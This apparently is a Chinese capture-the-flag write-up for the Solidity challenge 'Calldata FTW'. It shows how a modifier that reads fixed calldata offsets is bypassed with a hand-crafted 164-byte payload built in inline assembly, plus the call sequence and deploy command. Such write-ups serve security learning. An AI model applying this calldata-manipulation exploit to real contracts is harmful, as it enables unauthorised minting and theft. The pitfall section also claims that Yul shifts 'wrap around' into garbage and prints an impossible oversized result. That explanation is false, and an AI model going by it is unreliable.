Skip to content
On this page

S2C7: Calldata FTW

1. 问题

合约有一个 onlyMintFlag modifier,它从 calldata[68:72] 读取 4 字节,要求等于 mintFlag 的函数选择器。需要绕过这个检查来调用 mintFlag

2. 原因

onlyMintFlag modifier 使用 calldataload 直接读取 calldata 的固定位置(offset 68),而不是用 Solidity 的类型系统。通过操纵 ABI 编码中 bytes 参数的偏移量,可以将 mintFlag 选择器精确放置在 calldata[68:72]。

3. 方案

构造自定义 calldata,使 bytes 参数的 ABI offset 指向一个位置,使得 modifier 检查的位置恰好是 mintFlag 的函数选择器:

calldata 布局 (164 bytes):
[0:4]   = mint() selector (0x7ba0e2e7)
[4:36]  = offset 0x7C (指向 bytes data 的位置)
[36:68] = padding
[68:72] = 0xe00d023f (mintFlag() selector — modifier 在这里读取!)
[72:128]= padding
[128:160]= 0x04 (data length)
[160:164]= target function selector
solidity
function callWithPayload(address challenge, uint256 targetWord) internal {
    bytes memory payload = new bytes(164);
    assembly {
        let p := add(payload, 0x20)
        mstore(p, 0x7ba0e2e700000000000000000000000000000000000000000000000000000000) // mint sel + offset prefix
        mstore(add(p, 32), 0x0000007C00000000000000000000000000000000000000000000000000000000) // offset=0x7C + padding
        mstore(add(p, 64), 0x00000000e00d023f000000000000000000000000000000000000000000000000) // mintFlag sel at [68:72]
        mstore(add(p, 96), 0x0000000000000000000000000000000000000000000000000000000000000000)
        mstore(add(p, 128), 0x0000000000000000000000000000000000000000000000000000000000000004) // length=4
        mstore(add(p, 160), targetWord)
    }
    (bool ok,) = challenge.call(payload); require(ok);
}

两步执行

  1. 调用 mint() with _data = allowMinter() → 将攻击者加入 allowed 列表
  2. 调用 mint() with _data = mintFlag() → 触发 flag mint

4. 遇到的陷阱

陷阱 4.1: Yul 汇编中 shl(224, bytes4) 产生错误结果

在计算 mintFlag 的 selector 时,如果在 Yul 汇编中使用 shl(224, bytes4(selector)),结果完全错误。

示例

solidity
bytes4 target = bytes4(keccak256("allowMinter()")); // 0x0fd16506
bytes32 asmResult;
assembly { asmResult := shl(224, target) }
// asmResult = 0xb38b84bf... (错误!)
// 期望 = 0x0fd16506000... (正确)

陷阱 4.2: calldata 偏移计算

bytes 参数的 ABI offset 需要精确指向 mintFlag 选择器在 calldata 中的位置 (68)。

陷阱 4.3: forge create --broadcast 无效

forge create --broadcast 在 OP Mainnet 上始终显示 "Dry run enabled",无法广播交易。

5. 陷阱的原因

原因 5.1: bytes4 在 Yul 汇编中的内存布局

在 Solidity 中,bytes4 是右对齐的(占用 32 字节栈槽的低 4 字节)。但在 Yul 内联汇编中,bytes4 值被放置在 32 字节栈槽的高位(左侧),即左对齐

Solidity 中的 bytes4(0x0fd16506):
  0x000000000000000000000000000000000000000000000000000000000fd16506
  (右对齐,占用低 4 字节)

Yul 汇编中的 bytes4(0x0fd16506):
  0x0fd1650600000000000000000000000000000000000000000000000000000000
  (左对齐,占用高 4 字节)

当执行 shl(224, bytes4_value) 时:

  • 期望:将右对齐的低 4 字节左移 224 位 → selector 到达高位
  • 实际:将左对齐的高 4 字节左移 224 位 → 所有有意义数据移出!高位变成垃圾数据
// Solidity 层面 (正确)
uint256(uint32(0x0fd16506)) << 224
= 0x0fd1650600000000000000000000000000000000000000000000000000000000

// Yul 汇编 (错误!)
shl(224, 0x0fd1650600000000000000000000000000000000000000000000000000000000)
= 0xb38b84bf0000000000000000000000000000000000000000000000000000000000
// (垃圾!数据被移出 256 位范围然后绕回)

原因 5.2: calldata 偏移

ABI 编码中 bytes 类型的编码方式是:静态部分存 offset,动态部分存 length + data。offset 是从参数块起始位置的相对偏移。需要精心计算使 modifier 读取位置正好是目标选择器。

原因 5.3: forge create bug

forge create --broadcast 在 OP Mainnet 上存在已知问题,广播逻辑可能失效。需要使用 forge script 替代。

6. 如何解决

解决 6.1: 避免在 Yul 中操作 bytes4

solidity
// 正确做法:在 Solidity 层面转为 uint256
bytes4 selector = bytes4(keccak256("allowMinter()"));
uint256 targetWord = uint256(uint32(selector)) << 224;

// 或直接硬编码预计算值
uint256 hardcoded = 0x0fd1650600000000000000000000000000000000000000000000000000000000;

本解题方案使用硬编码的预计算值来完全避免此问题。

解决 6.2: 手动构造 calldata

不使用 Solidity 的 ABI 编码,直接在 assembly 中手动构造完整的 164 字节 payload。

解决 6.3: 使用 forge script

bash
forge script script/S2C7Deploy.s.sol --rpc-url $RPC --private-key $PK --broadcast

7. 技术要点

要点说明
ABI calldata 编码bytes 类型的编码在静态部分存 offset,动态部分存 length + data
calldataload 绕过直接读取 calldata 的 modifier 可被 calldata 操纵绕过
Yul bytes4 对齐陷阱汇编中 bytes4 是左对齐的,位移操作结果与 Solidity 不同
自定义 calldata使用 assembly mstore 构造任意 calldata 布局
forge create bugOP Mainnet 上 forge create --broadcast 不可用

核心代码solutions/season2/Challenge7Solution.sol诊断测试test/Bytes4Shift.t.sol部署脚本script/S2C7Deploy.s.sol

Built with AiAda